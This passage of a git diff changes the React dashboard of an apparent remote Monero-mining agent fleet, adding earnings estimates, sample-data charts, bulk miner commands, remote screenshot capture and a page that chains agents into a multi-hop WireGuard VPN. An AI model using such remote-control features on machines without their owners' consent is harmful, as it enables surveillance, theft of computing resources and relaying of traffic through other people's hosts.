= useState(false); + const [calibrateConfig, setCalibrateConfig] = useState(null); const [filters, setFilters] = useState(DEFAULT_FLEET_FILTERS); const [selectedIds, setSelectedIds] = useState>(new Set()); const [bulkBusy, setBulkBusy] = useState(false); const [showMatrix, setShowMatrix] = useState(false); + const screenshotWatchId = useRef(null); + const screenshotSeqRef = useRef(0); const [advancedMode, setAdvancedMode] = useState(() => { try { return localStorage.getItem('aether-dash-advanced') === '1'; } catch { return false; } }); const [xmrPrice, setXmrPrice] = useState(null); - const [calibrateConfig, setCalibrateConfig] = useState(null); + const [estXmrDay, setEstXmrDay] = useState(null); const toggleAdvanced = () => setAdvancedMode((prev) => { @@ -154,13 +165,71 @@ export default function DashboardPage() { const avgMem = agents.length > 0 ? agents.reduce((s, a) => s + a.memory_usage_pct, 0) / agents.length : 0; const onlinePct = agents.length > 0 ? (onlineCount / agents.length) * 100 : 0; + const previewDeck = agents.length === 0 || (totalHashrate <= 0 && onlineCount === 0); + + useEffect(() => { + if (previewDeck || totalHashrate <= 0) { + setEstXmrDay(null); + return; + } + const controller = new AbortController(); + api + .getEarningsEstimate(totalHashrate) + .then((r) => { + if (!controller.signal.aborted) setEstXmrDay(r.xmr_per_day ?? null); + }) + .catch(() => { + if (!controller.signal.aborted) setEstXmrDay(null); + }); + return () => controller.abort(); + }, [totalHashrate, previewDeck]); + + const displayHashrate = previewDeck ? SAMPLE_FLEET_PREVIEW.hashrate : totalHashrate; + const displayAccept = previewDeck ? SAMPLE_FLEET_PREVIEW.acceptRate : acceptRate; + const displayCpu = previewDeck ? SAMPLE_FLEET_PREVIEW.avgCpu : avgCpu; + const displayMem = previewDeck ? SAMPLE_FLEET_PREVIEW.avgMem : avgMem; + const displayOnlinePct = previewDeck ? SAMPLE_FLEET_PREVIEW.onlinePct : onlinePct; + const displayOnline = previewDeck ? SAMPLE_FLEET_PREVIEW.onlineCount : onlineCount; + const displayAgentTotal = previewDeck ? SAMPLE_FLEET_PREVIEW.agentCount : agents.length; + useEffect(() => { const now = new Date().toLocaleTimeString(); setHashHistory((prev) => [...prev.slice(-59), { time: now, value: totalHashrate }]); setAcceptHistory((prev) => [...prev.slice(-59), { time: now, value: acceptRate }]); setCpuHistory((prev) => [...prev.slice(-59), { time: now, value: avgCpu }]); setMemHistory((prev) => [...prev.slice(-59), { time: now, value: avgMem }]); - }, [totalHashrate, acceptRate, avgCpu, avgMem]); + const gpuVal = totalGPUHashrate > 0 ? totalGPUHashrate : previewDeck ? 48_500_000 : 0; + if (gpuVal > 0 || previewDeck) { + setGpuHistory((prev) => [...prev.slice(-59), { time: now, value: gpuVal }]); + } + }, [totalHashrate, acceptRate, avgCpu, avgMem, totalGPUHashrate, previewDeck]); + + const hashChart = useMemo( + () => resolveChartSeries(hashHistory, 'hashrate', { tailValue: displayHashrate }), + [hashHistory, displayHashrate] + ); + const acceptChart = useMemo( + () => resolveChartSeries(acceptHistory, 'accept', { tailValue: displayAccept }), + [acceptHistory, displayAccept] + ); + const cpuChart = useMemo( + () => resolveChartSeries(cpuHistory, 'cpu', { tailValue: displayCpu }), + [cpuHistory, displayCpu] + ); + const memChart = useMemo( + () => resolveChartSeries(memHistory, 'mem', { tailValue: displayMem }), + [memHistory, displayMem] + ); + const gpuChart = useMemo( + () => resolveChartSeries(gpuHistory, 'gpu', { tailValue: totalGPUHashrate || 48_500_000 }), + [gpuHistory, totalGPUHashrate] + ); + + const estUsdDay = useMemo(() => { + const price = xmrPrice ?? SAMPLE_FLEET_PREVIEW.xmrPrice; + const xmr = previewDeck ? SAMPLE_FLEET_PREVIEW.xmrPerDay : estXmrDay; + return xmr != null ? xmr * price : null; + }, [previewDeck, estXmrDay, xmrPrice]); const filteredAgents = useMemo(() => filterFleetAgents(agents, filters), [agents, filters]); @@ -170,16 +239,16 @@ export default function DashboardPage() { ); const maxAgentHash = Math.max(...topAgents.map((a) => a.hashrate_15m), 1); - const activityItems = useMemo( - () => - shares.slice(0, 12).map((s) => ({ - id: String(s.id ?? `${s.agent_id}-${s.hash}`), - label: s.accepted ? 'OK' : 'BAD', - ok: s.accepted, - time: s.timestamp ? new Date(s.timestamp).toLocaleTimeString() : undefined, - })), - [shares] - ); + const activityItems = useMemo(() => { + const live = shares.slice(0, 12).map((s) => ({ + id: String(s.id ?? `${s.agent_id}-${s.hash}`), + label: s.accepted ? 'OK' : 'BAD', + ok: s.accepted, + time: s.timestamp ? new Date(s.timestamp).toLocaleTimeString() : undefined, + })); + if (live.length > 0) return live; + return previewDeck ? SAMPLE_ACTIVITY : live; + }, [shares, previewDeck]); const totalShareCount = agents.reduce((sum, a) => sum + a.shares_total, 0); const alerts = fleetAlerts.length > 0 ? fleetAlerts : restAlerts; @@ -250,22 +319,93 @@ export default function DashboardPage() { const lanGroups = useMemo(() => groupBySubnet(agents), [agents]); const platforms = useMemo(() => osArchBreakdown(agents), [agents]); + useEffect(() => { + if (!commandResults?.length || !screenshotWatchId.current) return; + const watch = screenshotWatchId.current; + for (const r of commandResults) { + if (r._seq <= screenshotSeqRef.current) continue; + if (r.agent_id !== watch || r.action !== 'screenshot') continue; + screenshotSeqRef.current = r._seq; + screenshotWatchId.current = null; + const label = agents.find((a) => a.id === watch)?.name ?? watch.slice(0, 8); + if (r.success && r.message) { + const ok = downloadScreenshotFromBase64(sanitizeScreenshotBase64(r.message), label); + if (!ok) alert(`Screenshot from ${label} failed — empty or invalid image.`); + } else { + alert(`Screenshot failed on ${label}: ${r.message ?? 'unknown error'}`); + } + break; + } + }, [commandResults, agents]); + const handleBulkAction = async (action: string) => { - let targetIds = [...selectedIds]; + const ids = [...selectedIds]; + if (ids.length === 0) return; + + if (action === 'delete') { + if (!window.confirm(`Permanently remove ${ids.length} machine(s) from the fleet roster?`)) return; + setBulkBusy(true); + try { + await api.bulkDeleteAgents(ids); + setSelectedIds(new Set()); + } catch (err) { + alert(err instanceof Error ? err.message : 'Bulk delete failed'); + } finally { + setBulkBusy(false); + } + return; + } + + let targetIds = ids; if (action === 'restart_idle') { - targetIds = agents.filter((a) => selectedIds.has(a.id) && agentIsIdleMiner(a)).map((a) => a.id); + targetIds = agents.filter((a) => ids.includes(a.id) && agentIsIdleMiner(a)).map((a) => a.id); if (targetIds.length === 0) { - alert('No selected online agents with idle hashrate.'); + alert('No selected online agents with idle hashrate (< 100 H/s).'); return; } action = 'restart'; } + const onlineIds = targetIds.filter((id) => agents.find((a) => a.id === id)?.status === 'online'); - if (onlineIds.length === 0) return; - if (action === 'stop' && !window.confirm(`Stop ${onlineIds.length} agent(s)?`)) return; + if (onlineIds.length === 0) { + alert('No online agents in selection.'); + return; + } + + if (action === 'screenshot') { + if (onlineIds.length !== 1) { + alert('Select exactly one online machine for screenshot.'); + return; + } + const id = onlineIds[0]; + screenshotWatchId.current = id; + if (commandResults?.length) { + screenshotSeqRef.current = commandResults[commandResults.length - 1]._seq; + } + setBulkBusy(true); + try { + const res = await api.sendAgentCommand(id, 'screenshot'); + if (res.success === false) { + screenshotWatchId.current = null; + alert(res.error ?? 'Screenshot command rejected'); + } + } catch (err) { + screenshotWatchId.current = null; + alert(err instanceof Error ? err.message : 'Screenshot failed'); + } finally { + setBulkBusy(false); + } + return; + } + + if (action === 'stop' && !window.confirm(`Stop miner on ${onlineIds.length} agent(s)?`)) return; + setBulkBusy(true); try { - await api.sendBulkCommand(onlineIds, action); + const result = await api.sendBulkCommand(onlineIds, action); + if (result.failed > 0) { + alert(`Sent to ${result.sent}, failed on ${result.failed} agent(s).`); + } } catch (err) { console.error(err); alert(err instanceof Error ? err.message : 'Bulk command failed'); @@ -274,17 +414,20 @@ export default function DashboardPage() { } }; - const setupStatus = getSetupStatus(calibrateConfig); - return (
- {/* Fleet Health — always above the fold */} -
+ {previewDeck && ( +

+ Projection mode — charts validated with sample telemetry until your fleet connects +

+ )} + +

PERSONAL NETWORK · LIVE TELEMETRY

Command Deck

@@ -318,6 +461,33 @@ export default function DashboardPage() {
+
+
+
Fleet Hash
+
{formatHashrate(displayHashrate)}
+
15m rolling
+
+
+
Est. Daily
+
+ {estUsdDay != null ? `≈ $${estUsdDay.toFixed(2)}` : '—'} +
+
{previewDeck ? 'projection' : 'from live hashrate'}
+
+
+
Accept
+
{displayAccept.toFixed(1)}%
+
share quality
+
+
+
Nodes Live
+
+ {displayOnline}/{displayAgentTotal} +
+
{displayOnlinePct.toFixed(0)}% online
+
+
+

Fleet Pipeline @@ -338,8 +508,8 @@ export default function DashboardPage() {
- + - + - +
- +
Total Hashrate
-
{formatHashrate(totalHashrate)}
-
{onlineCount} engines firing
+
{formatHashrate(displayHashrate)}
+
{displayOnline} engines firing
- - + {previewDeck ? ( + + ) : ( + + )} +
Fleet Online
-
{onlineCount} / {agents.length}
-
{agents.length - onlineCount} dormant
+
+ {displayOnline} / {displayAgentTotal} +
+
{displayAgentTotal - displayOnline} dormant
- +
Accept Rate
-
{acceptRate.toFixed(1)}%
-
{acceptedShares} valid · {rejectedShares} rejected
+
{displayAccept.toFixed(1)}%
+
+ {previewDeck ? 'sample pool quality' : `${acceptedShares} valid · ${rejectedShares} rejected`} +
Resources
@@ -622,7 +812,12 @@ export default function DashboardPage() { )} {/* ── Analytics row — always visible ─────────────────────────────────── */} - + 0 ? contribs : previewDeck ? SAMPLE_CONTRIBUTION_BARS : []} + sample={previewDeck && contribs.length === 0} + xmrPerDay={previewDeck ? SAMPLE_FLEET_PREVIEW.xmrPerDay : undefined} + xmrPrice={xmrPrice} + /> {(platforms.length > 0 || lanGroups.length > 1) && (
@@ -639,33 +834,74 @@ export default function DashboardPage() { }>
- + - +
- {advancedMode && ( + {(hasGPUMining || previewDeck) && ( }> -
- - - - - - -
+ + +
)} + }> +
+ + + + + + +
+
+

Share Activity Pulse

- +
@@ -768,6 +1004,13 @@ export default function DashboardPage() { )}
+ {filteredAgents.length > 12 && ( +
+ + View all {filteredAgents.length} agents → + +
+ )} {advancedMode && (
diff --git a/server/web/src/pages/Pages.css b/server/web/src/pages/Pages.css index 32cf084..89213c4 100644 --- a/server/web/src/pages/Pages.css +++ b/server/web/src/pages/Pages.css @@ -1092,6 +1092,30 @@ .gauge-row { grid-template-columns: 1fr; } + + .page { + max-width: 100%; + overflow-x: hidden; + } + + .deck-grid, + .agents-page-layout, + .settings-grid { + grid-template-columns: 1fr !important; + } + + .agent-list-item .agent-list-header { + flex-wrap: wrap; + gap: 0.35rem; + } + + .deliverable-grid { + grid-template-columns: 1fr !important; + } + + .forge-rules-grid { + grid-template-columns: 1fr; + } } /* ── Forge guardrails ── */ diff --git a/server/web/src/pages/PathTracerPage.css b/server/web/src/pages/PathTracerPage.css new file mode 100644 index 0000000..cc045b4 --- /dev/null +++ b/server/web/src/pages/PathTracerPage.css @@ -0,0 +1,448 @@ +/* ── Path Tracer ─────────────────────────────────────────────── */ + +.pathtrace-page { + padding: 1.5rem; + max-width: 1200px; + margin: 0 auto; + display: flex; + flex-direction: column; + gap: 1.5rem; +} + +/* ── Header ─────────────────────────────────────────────────── */ + +.pt-header { + display: flex; + align-items: flex-end; + gap: 1.2rem; +} + +.pt-title { + font-size: 1.5rem; + font-weight: 700; + letter-spacing: 0.15em; + text-transform: uppercase; + color: var(--accent-primary, #00ffaa); + font-family: var(--font-tech, monospace); + text-shadow: 0 0 18px #00ffaa88; +} + +.pt-subtitle { + font-size: 0.75rem; + color: var(--text-muted, #667); + font-family: var(--font-tech, monospace); + letter-spacing: 0.08em; + padding-bottom: 0.15rem; +} + +/* ── Layout ──────────────────────────────────────────────────── */ + +.pt-body { + display: grid; + grid-template-columns: 1fr 340px; + gap: 1.5rem; +} + +@media (max-width: 900px) { + .pt-body { grid-template-columns: 1fr; } +} + +/* ── Agent grid ──────────────────────────────────────────────── */ + +.pt-agent-grid { + display: grid; + grid-template-columns: repeat(auto-fill, minmax(200px, 1fr)); + gap: 0.75rem; +} + +.pt-agent-card { + background: rgba(0, 255, 170, 0.04); + border: 1px solid rgba(0, 255, 170, 0.12); + border-radius: 8px; + padding: 0.85rem 1rem; + cursor: pointer; + transition: all 0.15s ease; + position: relative; + user-select: none; +} + +.pt-agent-card:hover { + background: rgba(0, 255, 170, 0.08); + border-color: rgba(0, 255, 170, 0.3); +} + +.pt-agent-card.selected { + background: rgba(0, 255, 170, 0.14); + border-color: #00ffaa; + box-shadow: 0 0 12px #00ffaa33; +} + +.pt-agent-card.offline { + opacity: 0.4; + cursor: not-allowed; + background: rgba(255, 255, 255, 0.02); + border-color: rgba(255, 255, 255, 0.07); +} + +.pt-agent-card-order { + position: absolute; + top: 6px; + right: 8px; + font-size: 0.65rem; + font-family: var(--font-tech, monospace); + color: #000; + background: #00ffaa; + border-radius: 50%; + width: 18px; + height: 18px; + display: flex; + align-items: center; + justify-content: center; + font-weight: 700; +} + +.pt-agent-name { + font-size: 0.8rem; + font-weight: 600; + color: var(--text-primary, #e0e0e0); + font-family: var(--font-tech, monospace); + letter-spacing: 0.04em; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + margin-bottom: 0.25rem; +} + +.pt-agent-ip { + font-size: 0.7rem; + color: #00ffaa99; + font-family: monospace; +} + +.pt-agent-status-dot { + display: inline-block; + width: 6px; + height: 6px; + border-radius: 50%; + margin-right: 5px; +} +.pt-agent-status-dot.online { background: #00ffaa; box-shadow: 0 0 5px #00ffaa; } +.pt-agent-status-dot.offline { background: #555; } + +/* ── Chain visualizer ────────────────────────────────────────── */ + +.pt-sidebar { + display: flex; + flex-direction: column; + gap: 1rem; +} + +.pt-chain-panel { + background: rgba(0, 0, 0, 0.35); + border: 1px solid rgba(0, 255, 170, 0.14); + border-radius: 10px; + padding: 1rem; + display: flex; + flex-direction: column; + gap: 0.75rem; +} + +.pt-chain-title { + font-size: 0.65rem; + letter-spacing: 0.12em; + text-transform: uppercase; + color: #00ffaa88; + font-family: var(--font-tech, monospace); + margin-bottom: 0.25rem; +} + +.pt-chain-empty { + font-size: 0.72rem; + color: #444; + font-family: var(--font-tech, monospace); + text-align: center; + padding: 1rem 0; +} + +.pt-chain-row { + display: flex; + flex-direction: column; + gap: 0.2rem; +} + +.pt-chain-hop { + display: flex; + align-items: center; + gap: 0.5rem; +} + +.pt-chain-hop-badge { + width: 22px; + height: 22px; + border-radius: 50%; + background: #00ffaa22; + border: 1px solid #00ffaa55; + display: flex; + align-items: center; + justify-content: center; + font-size: 0.6rem; + font-family: var(--font-tech, monospace); + color: #00ffaa; + flex-shrink: 0; +} + +.pt-chain-hop-name { + font-size: 0.72rem; + color: #ccc; + font-family: var(--font-tech, monospace); + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.pt-chain-arrow { + font-size: 0.65rem; + color: #00ffaa55; + padding-left: 10px; +} + +/* Status badges */ +.pt-hop-status { + font-size: 0.6rem; + font-family: var(--font-tech, monospace); + padding: 1px 5px; + border-radius: 3px; + text-transform: uppercase; + letter-spacing: 0.08em; + flex-shrink: 0; + margin-left: auto; +} +.pt-hop-status.pending { background: rgba(255,200,0,0.15); color: #ffc800; border: 1px solid #ffc80033; } +.pt-hop-status.ready { background: rgba(0,255,170,0.15); color: #00ffaa; border: 1px solid #00ffaa33; } +.pt-hop-status.failed { background: rgba(255,80,80,0.15); color: #ff5050; border: 1px solid #ff505033; } + +/* ── Action buttons ──────────────────────────────────────────── */ + +.pt-btn { + padding: 0.55rem 1.1rem; + border-radius: 6px; + font-size: 0.75rem; + font-family: var(--font-tech, monospace); + font-weight: 700; + letter-spacing: 0.1em; + text-transform: uppercase; + cursor: pointer; + transition: all 0.15s ease; + border: 1px solid transparent; +} + +.pt-btn-primary { + background: linear-gradient(135deg, #00ffaa22, #00ffaa11); + border-color: #00ffaa; + color: #00ffaa; + text-shadow: 0 0 8px #00ffaa; +} +.pt-btn-primary:hover:not(:disabled) { + background: linear-gradient(135deg, #00ffaa44, #00ffaa22); + box-shadow: 0 0 14px #00ffaa44; +} +.pt-btn-primary:disabled { + opacity: 0.35; + cursor: not-allowed; +} + +.pt-btn-danger { + background: rgba(255,80,80,0.1); + border-color: #ff5050; + color: #ff5050; +} +.pt-btn-danger:hover { + background: rgba(255,80,80,0.2); +} + +.pt-btn-ghost { + background: transparent; + border-color: #444; + color: #888; +} +.pt-btn-ghost:hover { + border-color: #666; + color: #aaa; +} + +.pt-actions { + display: flex; + gap: 0.5rem; + flex-wrap: wrap; +} + +/* ── Error / status banner ───────────────────────────────────── */ + +.pt-error-banner { + background: rgba(255, 80, 80, 0.1); + border: 1px solid rgba(255,80,80,0.3); + border-radius: 6px; + padding: 0.6rem 0.9rem; + font-size: 0.72rem; + color: #ff5050; + font-family: var(--font-tech, monospace); +} + +.pt-info-banner { + background: rgba(0, 200, 255, 0.07); + border: 1px solid rgba(0, 200, 255, 0.2); + border-radius: 6px; + padding: 0.6rem 0.9rem; + font-size: 0.72rem; + color: #00c8ff; + font-family: var(--font-tech, monospace); +} + +/* ── QR Modal ────────────────────────────────────────────────── */ + +.pt-modal-backdrop { + position: fixed; + inset: 0; + background: rgba(0, 0, 0, 0.75); + backdrop-filter: blur(4px); + display: flex; + align-items: center; + justify-content: center; + z-index: 2000; +} + +.pt-modal { + background: #0e1117; + border: 1px solid #00ffaa44; + border-radius: 14px; + box-shadow: 0 0 60px #00ffaa22; + padding: 2rem; + max-width: 520px; + width: 100%; + display: flex; + flex-direction: column; + gap: 1.2rem; + animation: pt-modal-in 0.2s ease; +} + +@keyframes pt-modal-in { + from { opacity: 0; transform: scale(0.92) translateY(20px); } + to { opacity: 1; transform: scale(1) translateY(0); } +} + +.pt-modal-title { + font-size: 1.1rem; + font-weight: 700; + letter-spacing: 0.12em; + text-transform: uppercase; + color: #00ffaa; + font-family: var(--font-tech, monospace); + text-shadow: 0 0 12px #00ffaa66; +} + +.pt-qr-wrap { + display: flex; + justify-content: center; + padding: 0.5rem; + background: #000; + border-radius: 10px; + border: 1px solid #00ffaa33; +} + +.pt-qr-img { + width: 260px; + height: 260px; + image-rendering: pixelated; +} + +.pt-config-box { + background: rgba(0,0,0,0.5); + border: 1px solid #333; + border-radius: 6px; + padding: 0.75rem; + font-size: 0.65rem; + font-family: monospace; + color: #aaa; + white-space: pre; + max-height: 180px; + overflow: auto; +} + +.pt-modal-actions { + display: flex; + gap: 0.6rem; + flex-wrap: wrap; +} + +.pt-hint { + font-size: 0.65rem; + color: #555; + font-family: var(--font-tech, monospace); + text-align: center; + line-height: 1.5; +} + +/* ── Section label ───────────────────────────────────────────── */ + +.pt-section-label { + font-size: 0.62rem; + letter-spacing: 0.14em; + text-transform: uppercase; + color: #00ffaa55; + font-family: var(--font-tech, monospace); + margin-bottom: 0.4rem; +} + +.pt-section-panel { + background: rgba(0,0,0,0.25); + border: 1px solid rgba(0,255,170,0.08); + border-radius: 10px; + padding: 1rem; +} + +/* Spinner */ +.pt-spinner { + display: inline-block; + width: 14px; + height: 14px; + border: 2px solid #00ffaa33; + border-top-color: #00ffaa; + border-radius: 50%; + animation: pt-spin 0.6s linear infinite; + vertical-align: middle; + margin-right: 6px; +} +@keyframes pt-spin { to { transform: rotate(360deg); } } + +@media (max-width: 768px) { + .pt-page { + padding: 0; + } + + .pt-chain { + flex-direction: column; + align-items: stretch; + } + + .pt-hop-card { + max-width: 100%; + } + + .pt-modal-backdrop { + align-items: flex-end; + padding: 0.5rem; + } + + .pt-modal { + max-width: 100%; + margin: 0; + border-radius: 14px 14px 0 0; + max-height: 90dvh; + overflow-y: auto; + } + + .pt-qr-wrap img { + max-width: min(280px, 100%); + height: auto; + } +} diff --git a/server/web/src/pages/PathTracerPage.tsx b/server/web/src/pages/PathTracerPage.tsx new file mode 100644 index 0000000..a1e1948 --- /dev/null +++ b/server/web/src/pages/PathTracerPage.tsx @@ -0,0 +1,385 @@ +import { useCallback, useEffect, useRef, useState } from 'react'; +import { api } from '../api/client'; +import { useWebSocket } from '../hooks/useWebSocket'; +import type { Agent, PathTraceHop } from '../types'; +import './PathTracerPage.css'; + +// ── types ───────────────────────────────────────────────────────────────────── + +interface TraceStatus { + session_id: string; + ready: boolean; + error?: string; + hops: PathTraceHop[]; +} + +interface QRData { + config: string; + qr_png_b64: string; +} + +// ── helpers ─────────────────────────────────────────────────────────────────── + +function HopStatusBadge({ status }: { status: PathTraceHop['status'] }) { + return {status}; +} + +// ── QR Modal ────────────────────────────────────────────────────────────────── + +function QRModal({ + qr, + onClose, + onEnd, +}: { + qr: QRData; + onClose: () => void; + onEnd: () => void; +}) { + const [copied, setCopied] = useState(false); + + const handleCopy = () => { + navigator.clipboard.writeText(qr.config).then(() => { + setCopied(true); + setTimeout(() => setCopied(false), 1500); + }); + }; + + const handleDownload = () => { + const blob = new Blob([qr.config], { type: 'text/plain' }); + const url = URL.createObjectURL(blob); + const a = document.createElement('a'); + a.href = url; + a.download = 'pathtrace.conf'; + a.click(); + URL.revokeObjectURL(url); + }; + + return ( +
e.target === e.currentTarget && onClose()}> +
+
⬡ PATH TRACE ACTIVE
+ +
+ WireGuard QR +
+ +

+ Scan with the WireGuard app on your phone,
+ or download the .conf file and import it. +

+ +
{qr.config}
+ +
+ + + +
+
+
+ ); +} + +// ── main component ──────────────────────────────────────────────────────────── + +export default function PathTracerPage() { + const { agents: wsAgents } = useWebSocket(); + const [restAgents, setRestAgents] = useState([]); + const [selected, setSelected] = useState([]); // ordered chain + const [loading, setLoading] = useState(false); + const [error, setError] = useState(''); + + const [sessionID, setSessionID] = useState(''); + const [hops, setHops] = useState([]); + const [tracing, setTracing] = useState(false); + const [qr, setQR] = useState(null); + const [showQR, setShowQR] = useState(false); + + const pollRef = useRef | null>(null); + + // Use WebSocket agents; fall back to REST on mount if WebSocket hasn't populated yet. + const agents = wsAgents.length > 0 ? wsAgents : restAgents; + + useEffect(() => { + api.listAgents().then(setRestAgents).catch(() => {}); + }, []); + + // Stop polling on unmount. + useEffect(() => () => { if (pollRef.current) clearInterval(pollRef.current); }, []); + + const toggleAgent = (id: string, offline: boolean) => { + if (offline) return; + if (tracing) return; // don't let selection change while tracing + setSelected((prev) => { + if (prev.includes(id)) return prev.filter((x) => x !== id); + if (prev.length >= 3) return prev; // max 3 hops + return [...prev, id]; + }); + }; + + const handleTrace = useCallback(async () => { + if (selected.length === 0) return; + setError(''); + setLoading(true); + setTracing(true); + setHops([]); + setQR(null); + try { + const res = await api.startTrace(selected); + setSessionID(res.session_id); + setHops(res.hops); + startPolling(res.session_id); + } catch (e: unknown) { + setError(e instanceof Error ? e.message : 'Trace failed'); + setTracing(false); + } finally { + setLoading(false); + } + }, [selected]); + + const startPolling = (sid: string) => { + if (pollRef.current) clearInterval(pollRef.current); + pollRef.current = setInterval(async () => { + try { + const status: TraceStatus = await api.getTraceStatus(sid); + setHops(status.hops); + if (status.error) { + setError(status.error); + clearInterval(pollRef.current!); + pollRef.current = null; + setTracing(false); + return; + } + if (status.ready) { + clearInterval(pollRef.current!); + pollRef.current = null; + // Fetch QR. + const qrData = await api.getTraceQR(sid); + setQR(qrData); + setShowQR(true); + } + } catch { + // Ignore transient errors + } + }, 2000); + }; + + const handleEndSession = useCallback(async () => { + if (!sessionID) return; + try { + await api.deleteTrace(sessionID); + } catch { + // best-effort + } + if (pollRef.current) { clearInterval(pollRef.current); pollRef.current = null; } + setSessionID(''); + setHops([]); + setTracing(false); + setQR(null); + setSelected([]); + setError(''); + }, [sessionID]); + + const isWindows = (a: Agent) => + !!(a.platform?.toLowerCase().includes('win') || a.platform?.toLowerCase().includes('windows')); + + const onlineAgents = agents.filter((a) => a.status === 'online'); + const offlineAgents = agents.filter((a) => a.status !== 'online'); + + const allHopsReady = hops.length > 0 && hops.every((h) => h.status === 'ready'); + + return ( +
+ {/* Header */} +
+
+
⬡ Path Tracer
+
+ Build an on-demand multi-hop WireGuard VPN — select up to 3 agents, click TRACE. +
+
+
+ + {error &&
⚠ {error}
} + + {tracing && !allHopsReady && !error && ( +
+ + Orchestrating tunnel — waiting for agents to configure WireGuard… +
+ )} + +
+ {/* Left: agent selection */} +
+
+ Online agents — click to add to chain (max 3) +
+
+ {onlineAgents.length === 0 && ( +
No online agents found.
+ )} +
+ {onlineAgents.map((a) => { + const idx = selected.indexOf(a.id); + const isSelected = idx >= 0; + const winOnly = isWindows(a); + return ( +
winOnly ? toggleAgent(a.id, false) : undefined} + title={!winOnly ? 'WireGuard Path Tracer requires a Windows agent' : undefined} + style={!winOnly ? { opacity: 0.5, cursor: 'not-allowed' } : undefined} + > + {isSelected && ( + {idx + 1} + )} +
+ + {a.name} +
+
{a.ip || '—'}
+ {!winOnly && ( +
+ non-Windows +
+ )} +
+ ); + })} + {offlineAgents.map((a) => ( +
+
+ + {a.name} +
+
offline
+
+ ))} +
+
+
+ + {/* Right: chain + controls */} +
+ {/* Chain visualizer */} +
+
VPN Chain
+ {selected.length === 0 ? ( +
No hops selected yet.
+ ) : ( +
+ {/* Phone icon */} +
+ + 📱 Your Phone + +
+ + {selected.map((id, i) => { + const agent = agents.find((a) => a.id === id); + const hop = hops.find((h) => h.agent_id === id); + return ( +
+
+
+
{i + 1}
+ + {agent?.name ?? id.slice(0, 8)} + + {hop && } +
+ {hop?.external_ip && ( +
+ {hop.external_ip}:{hop.port} +
+ )} + {hop?.error && ( +
+ {hop.error} +
+ )} +
+ ); + })} + +
+
+ + 🌐 Internet + +
+
+ )} +
+ + {/* Controls */} +
+ {!tracing && ( + + )} + + {tracing && allHopsReady && qr && ( + + )} + + {tracing && ( + + )} + + {!tracing && selected.length > 0 && ( + + )} +
+ + {/* Max hop hint */} + {selected.length >= 3 && !tracing && ( +
Max 3 hops reached.
+ )} + + {allHopsReady && ( +
+ ✓ All hops ready — tunnel is active. +
+ )} +
+
+ + {/* QR Modal */} + {showQR && qr && ( + setShowQR(false)} + onEnd={handleEndSession} + /> + )} +
+ ); +} diff --git a/server/web/src/pages/SettingsPage.test.tsx b/server/web/src/pages/SettingsPage.test.tsx index 34f8cf4..40359a0 100644 --- a/server/web/src/pages/SettingsPage.test.tsx +++ b/server/web/src/pages/SettingsPage.test.tsx @@ -5,12 +5,17 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; import { cleanup, render, screen, waitFor, within } from '@testing-library/react'; import userEvent from '@testing-library/user-event'; import SettingsPage, { deepMerge } from './SettingsPage'; +import { SoundProvider } from '../context/SoundContext'; import { mockServerConfig, mockServerInfo } from '../test/fixtures'; import { api } from '../api/client'; import { clearStoredAuth, getStoredAuth, setStoredAuth } from '../api/auth'; function renderSettings() { - return render(); + return render( + + + + ); } describe('deepMerge', () => { diff --git a/server/web/src/pages/SettingsPage.tsx b/server/web/src/pages/SettingsPage.tsx index 211cf3a..93874c5 100644 --- a/server/web/src/pages/SettingsPage.tsx +++ b/server/web/src/pages/SettingsPage.tsx @@ -16,6 +16,8 @@ import PoolPresetPicker from '../components/PoolPresetPicker'; import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker'; import type { BackupPool } from '../types'; import NeonCard from '../components/NeonCard/NeonCard'; +import { useSound } from '../context/SoundContext'; +import { useVisualEffects } from '../context/VisualEffectsContext'; import './Pages.css'; /** Recursively merge `override` into `base`, preserving keys not in `override`. */ @@ -42,6 +44,8 @@ export function deepMerge(base: T, override: Partial): T { } export default function SettingsPage() { + const { enabled: sfxEnabled, volume: sfxVolume, setEnabled: setSfxEnabled, setVolume: setSfxVolume, preview: previewSfx } = useSound(); + const { glowParticles, setGlowParticles } = useVisualEffects(); const [config, setConfig] = useState(null); const [serverInfo, setServerInfo] = useState<{ suggested_url: string; local_ips: string[] } | null>(null); const [loading, setLoading] = useState(true); @@ -54,6 +58,10 @@ export default function SettingsPage() { const [userMsg, setUserMsg] = useState(''); const [rotatingSecret, setRotatingSecret] = useState(false); const [rotateMsg, setRotateMsg] = useState(''); + const [backingUp, setBackingUp] = useState(false); + const [backupMsg, setBackupMsg] = useState(''); + const [testingAlerts, setTestingAlerts] = useState(false); + const [alertTestMsg, setAlertTestMsg] = useState(''); const fileInputRef = useRef(null); useEffect(() => { @@ -69,6 +77,15 @@ export default function SettingsPage() { password: 'x', backup_pools: [], }, + alerts: { + ...cfg.alerts, + notify_agent_connect: cfg.alerts?.notify_agent_connect ?? true, + notify_agent_reconnect: cfg.alerts?.notify_agent_reconnect ?? true, + notify_agent_offline: cfg.alerts?.notify_agent_offline ?? true, + notify_hashrate_drop: cfg.alerts?.notify_hashrate_drop ?? true, + notify_rejection_rate: cfg.alerts?.notify_rejection_rate ?? true, + notify_build_complete: cfg.alerts?.notify_build_complete ?? true, + }, server: { public_url: cfg.server?.public_url ?? '', stats_retention_hours: cfg.server?.stats_retention_hours ?? 168, @@ -145,6 +162,20 @@ export default function SettingsPage() { URL.revokeObjectURL(url); }; + const handleFullBackup = async () => { + setBackingUp(true); + setBackupMsg(''); + try { + await api.downloadBackup(); + setBackupMsg('Backup downloaded.'); + setTimeout(() => setBackupMsg(''), 4000); + } catch (e: unknown) { + setBackupMsg('Backup failed: ' + (e instanceof Error ? e.message : String(e))); + } finally { + setBackingUp(false); + } + }; + const handleImportConfig = () => fileInputRef.current?.click(); const handleFileSelected = (e: React.ChangeEvent) => { @@ -181,6 +212,36 @@ export default function SettingsPage() { setTimeout(() => setUserMsg(''), 3000); }; + const handleTestAlerts = async () => { + if (!config) return; + setTestingAlerts(true); + setAlertTestMsg(''); + try { + if (!config.alerts.telegram_bot_token?.trim() && !config.alerts.email_enabled) { + setAlertTestMsg('Enter Telegram token + chat ID (or enable SMTP) first.'); + return; + } + await api.updateConfig(config); + const result = await api.testAlerts(); + const parts: string[] = []; + const tg = result.telegram; + if (tg) { + parts.push(tg.sent ? '✓ Telegram delivered' : `✕ Telegram: ${tg.error || 'failed'}`); + } + const smtp = result.smtp; + if 